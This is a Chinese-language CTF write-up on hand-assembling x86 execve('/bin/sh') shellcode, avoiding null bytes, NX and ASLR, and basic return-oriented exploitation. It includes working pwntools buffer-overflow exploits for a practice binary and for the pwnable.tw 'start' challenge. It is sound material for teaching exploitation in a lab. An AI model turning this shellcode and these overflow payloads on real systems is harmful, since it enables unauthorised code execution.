Shellcode’s Magic&Basic ROP.
shellcode 是一段用于利用软件漏洞而执行的代码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。
系统调用(int 0x80)
NAME | EAX | EBX | ECX | EDX |
---|---|---|---|---|
sys_exit |
1 | int |
0 | 0 |
sys_read |
3 | unsigned int |
char * |
size_t |
sys_write |
4 | unsigned int |
const_char * |
size_t |
sys_open |
5 | const char * |
int | int |
sys_execve |
11 | struct pt_regs |
0 | 0 |
PS:最常用的为 11 号调用。也就是 execve("/bin/sh",0,0)
。
编写 ShellCode
自己编写 shellcode 的优点是灵活、可以随机应变。
坏字符
Shellcode 中存在 0x00 字节在进行利用的时候会被截断。Shellcode 如果存储在堆或是栈的内存中,这样在 shellcode 执行时就不能出现 0x00 这样的阶段字符。
\x00
在执行 MOV EAX,5
时,相当于 MOV EAX,0x00000005
,即会产生 0x00
,可以使用 MOV AL,5
来绕过
\x0A
绕过可以通过 !@#$%
。
EBX 中的参数(/bin/sh
)
一般做法是压入栈后取 ESP:
PUSH 0x68732F2F
PUSH 0x6E69622F
MOV EBX,ESP
前两段十六进制转换成 ascii 码是:hs//nib/
,取 ESP 的值到 EBX 中后,EBX 的值即为:字符串 "/bin//sh"
的首地址。
PS:在多级目录下,多个斜杠是对路径没有影响的。
nasm 反汇编工具下载
Netwide Assembler 是一款基于英特尔 x86 架构的汇编与反汇编工具。它可以用来编写 16 位、32 位(IA-32)和 64 位(x86-64)的程序。 NASM 被认为是 Linux 平台上最受欢迎的汇编工具之一。
sudo apt-get install nasm
报错
记录一下无法下载时的解决方法。
- 使用
ps -A | grep apt
命令来找出所有apt
进程。 - 使用
sudo kill -9 {进程编号}
来逐个杀死进程。
结束所有进程后即可下载。
完整编写过程
写入文件 shellcode.asm
:
Section .text
global _start
_start:
xor ecx,ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
PS:关于这两条指令:XOR ECX,ECX => MUL ECX
,经过测试,会先将 ECX 中的值置零,然后 EAX、EDX 中的值也都会变为零。
执行命令:nasm -f elf shellcode.asm -o shellcode.o
后,使用 objdump
命令对 shellcode.o
进行反汇编:objdump -d shellcode.o
。
将十六进制部分记录下来,就构成了一条 shellcode:\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
。
ROP
面向返回编程(Return-Oriented Programming)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为 Gadgets)。每一段 gadget 通常结束于 return 指令,并位于共享库代码中的子程序。系列调用这些代码,攻击者可以在拥有更简单攻击防范的程序内执行任意操作。
相关保护机制
NX 即 No-eXecute(不可执行)的意思,NX(类似于 windows 下的 DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
PS:
- No eXecute(NX) => linux
- Data Execution Prevention(DEP) => windows
也就是说:“可执行不可写,可写不可执行。”
ASLR
Address Space Layout Randomization(地址空间布局随机化),该技术在 2005 年的 kernel2.6.12 中被引入到 Linux 系统,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。当前 Linux、Windows 等主流操作系统都已经采用该项技术。
分级:
- 0:没有随机化。即关闭 ASLR。
- 1:保留的随机化。共享库、栈、
mmap()
以及 VDSO 将被随机化。 - 2:完全的随机化。在 1 的基础上,通过
brk()
分配的内存空间也将被随机化。
PS:
- ASLR 并不负责 BSS 段、代码段(文本段)和数据段(DATA 段)的随机化。
- 堆栈空间被完全随机化。
7-11
源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void A()
{
setvbuf(stdout, 0, _IONBF, 0);
srand(time(0) ^ getpid());
char buf[100];
gets(buf);
int magic = rand();
if (atoi(buf) == magic) {
puts("Okay...");
system("sh");
}
}
int main(){
A();
}
这道题和之前的一题很类似,但是将 buf 和 magic 两个变量的位置进行了调换,所以无法通过直接覆盖 magic 的值来 getshell。(当然还有一种方法时直接获得 system("sh");
的地址来 getshell)
简单难度
此时 ASLR 是关闭的。
基本的想法是先填入 shellcode,然后通过 ret 的偏移量来跳转到 shellcode 的首地址,执行 execve("/bin/sh",0,0)
来 getshell。
shellcode 在之前已经写好了,偏移量也可以通过之前缓冲区溢出的方法来得到。
最后应该如何获得 shellcode 的首地址?可以通过如下 payload 来获取。
# test.py
from pwn import *
p = process('./7-11')
raw_input() # 相当于设下断点
shellcode=p32(0xdeadbeef)+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
addr=p32(0x12345678)
offset=116
payload=shellcode+(offset-len(shellcode))*'A'+addr
p.sendline(payload)
p.interactive()
这里在 shellcode 前加上“0xdeadbeef”,是为了之后在调试时更方便地找到首地址。raw_input()
要求输入值,可以使程序在运行时终止,相当于一个断点。
运行 test.py,会得到该程序的 PID,用 gdb 的 attach 命令执行它。
在运行程序处随便输入值,然后在 gdb 中用 finish 命令使程序执行到 gets()
函数结束,再用 searchmem 命令查找“0xdeadbeef”的地址,即得到 shellcode 的首地址。
最后的 exp 如下:
# 7-11.py
from pwn import *
p = process('./7-11')
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
addr=p32(0xffffcfa8)
offset=116
# payload=shellcode+(offset-len(shellcode))*'A'+addr
payload=shellcode.ljust(offset,'A')+addr
p.sendline(payload)
p.interactive()
中等难度
通过命令 sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
,打开 ASLR。
通过之前的了解,当 ASLR 开启时,堆栈的地址是随机的,而 BSS 的地址是不变的,那么通过 BSS 段可以做一些文章。
PS:BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。其特点是可读写,且在程序执行之前会自动清 0。
总体的思路是利用 BSS 段地址不变的特性,构造 payload:payload=offset*'A'+p32(gets_addr)+p32(bss+0x100)+p32(bss+0x100)
(因为 BSS 段开头部分可能存储一些重要数据,故增加 0x100 来避免影响程序)。第一个 BSS 首地址表示 gets()
的返回地址,第二个 BSS 首地址表示 gets()
的参数。
那么通过 payload 可知,程序执行时会重新返回到 gets()
函数处,调用函数时,相当于先 Push retaddr
再 Jump
,即第一个 BSS 首地址为函数返回地址,再输入 shellcode 作为函数参数,即第二个 BSS 首地址。
使用 gdb 对程序调试,用 vmmap 命令查看 bss 段:
记录下 bss 段地址。通过 objdump -d
查看 gets()
函数地址:
两个地址都搞定后,那么就可以写出 exp 了:
from pwn import *
# p = remote('10.21.13.88',1025)
p = process('./7-11')
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
offset=116
bss=0x0804a000
gets_addr=0x08048400
payload=offset*'A'+p32(gets_addr)+p32(bss+0x100)+p32(bss+0x100)
p.sendline(payload)
# gdb.attach(p,'''
# ''') //在运行脚本时可以直接打开gdb进行调试
p.sendline(shellcode)
p.interactive()
pwnable.tw-start
checksec 一下,发现保护都没开:
[*] '/home/assassinq/Desktop/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
反编译出来只有 _start
和 _exit
,应该是个汇编程序。可以通过系统调用判断出调用的函数:
./start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4 ; sys_write
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3 ; sys_read
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
具体寄存器的值与系统调用的关系:
寄存器 | 作用 |
---|---|
eax | 中断类型号 |
ebx | STDIN/STDOUT |
ecx | 字符串地址 |
edx | 字符串长度 |
因为栈是可执行的并且开启了 ASLR。我们的想法就是通过泄漏栈地址,然后填入 shellcode,跳转过去 getshell。
exp 如下:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./start')
else:
p = remote('139.162.123.119', 10000)
write = 0x8048087
# gdb.attach(p)
offset = 20
payload = 'A' * offset + p32(write)
p.sendafter('CTF:', payload)
stack = u32(p.recv(4)) + 0x10
print 'stack:', hex(stack)
sh = open('sh.bin').read()
payload = 'A' * 20 + p32(stack + 4) + sh
p.send(payload)
p.interactive()
参考网站
https://linux.cn/article-8040-1.html
http://bestwing.me/2017/03/19/stack-overflow-two-ROP/
https://introspelliam.github.io/2017/09/30/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/
https://blog.csdn.net/white_eyes/article/details/7169199
https://b3t4m3ee.github.io/2018/07/10/Shellcode-s-Magic/
https://blog.csdn.net/Plus_RE/article/details/79199772
http://showlinkroom.me/2017/01/22/pwnable-tw/